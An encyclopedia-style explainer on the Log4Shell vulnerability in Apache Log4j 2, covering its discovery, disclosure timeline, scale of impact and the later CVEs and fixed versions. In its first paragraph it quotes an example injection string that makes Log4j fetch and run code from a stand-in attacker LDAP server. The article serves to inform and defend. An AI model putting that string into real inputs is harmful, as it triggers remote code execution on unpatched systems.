Log4Shell (CVE-2021-44228)

Log4Shell is the name given to CVE-2021-44228, a critical remote-code-execution (RCE) vulnerability in Apache Log4j 2, one of the most widely used logging libraries in the Java ecosystem. The flaw received the maximum CVSS v3.1 base score of 10.0. It abused Log4j's support for JNDI (Java Naming and Directory Interface) lookup substitution: if an attacker could get a specially crafted string such as ${jndi:ldap://attacker.com/a} into any data Log4j would log — an HTTP header, a username field, a chat message — the library would resolve the lookup, reach out to the attacker-controlled LDAP/RMI server, and load and execute arbitrary Java code on the victim's system, all without authentication or user interaction (Apache Software Foundation; GitHub Security Advisory GHSA-jfh8-c2jp-5v3q).

Discovery and disclosure

The vulnerability was found by Chen Zhaojun of Alibaba Cloud Security Team, who privately reported it to the Apache Software Foundation on 24 November 2021. Apache worked on a fix over the following two weeks. Details, proof-of-concept exploit code, and the patched release (Log4j 2.15.0) became public around 9–10 December 2021, after which mass scanning and exploitation attempts began almost immediately across the internet (Wikipedia; Cloudflare).

Scale of impact

Because Log4j is bundled inside thousands of frameworks, appliances, and cloud services (Apache Struts, Elasticsearch, Minecraft servers, and countless enterprise Java applications among them), the vulnerability was described by U.S. CISA leadership as one of the most serious they had encountered, and Cloudflare called it comparable in scope to Heartbleed and Shellshock. Cloud-security researchers later estimated that a large majority of monitored cloud enterprise environments contained vulnerable Log4j instances. Within roughly 24 hours of disclosure, security researchers observed dozens of distinct exploit variants circulating.

Patch response and follow-on CVEs

The initial 2.15.0 patch proved incomplete for certain non-default configurations, leading to a rapid sequence of follow-on advisories: CVE-2021-45046 (published 14 December 2021, RCE/DoS via Thread Context Map lookups in non-default configurations, fixed in 2.16.0, CVSS 9.0); CVE-2021-45105 (published 18 December 2021, denial of service via uncontrolled recursion in self-referential lookups, fixed in 2.17.0); and CVE-2021-44832 (RCE via a JDBC Appender when an attacker already controls the logging configuration, fixed in 2.17.1, CVSS 6.6, requiring configuration-write access and therefore of lower real-world severity). Apache's guidance ultimately converged on upgrading to Log4j 2.17.1 or later, or 2.12.4/2.3.2 for organizations pinned to older Java baselines (Apache Log4j Security Vulnerabilities page).

Timeline

• 2021-11-24Chen Zhaojun of Alibaba Cloud Security Team privately reports the JNDI lookup RCE vulnerability to the Apache Software Foundation.
• 2021-12-09Vulnerability details and exploit code become public; Apache releases Log4j 2.15.0 with an initial fix; mass internet-wide exploitation begins within hours.
• 2021-12-10CVE-2021-44228 is published with a maximum CVSS v3.1 score of 10.0 (critical).
• 2021-12-14CVE-2021-45046 is disclosed after the 2.15.0 fix is found incomplete in certain non-default configurations; fixed in Log4j 2.16.0.
• 2021-12-18CVE-2021-45105, a denial-of-service flaw via uncontrolled recursion in self-referential lookups, is disclosed; fixed in Log4j 2.17.0.
• 2022-01-04CVE-2021-44832, a JDBC Appender RCE requiring configuration-write access, is published to the GitHub Security Advisory database; fixed in Log4j 2.17.1.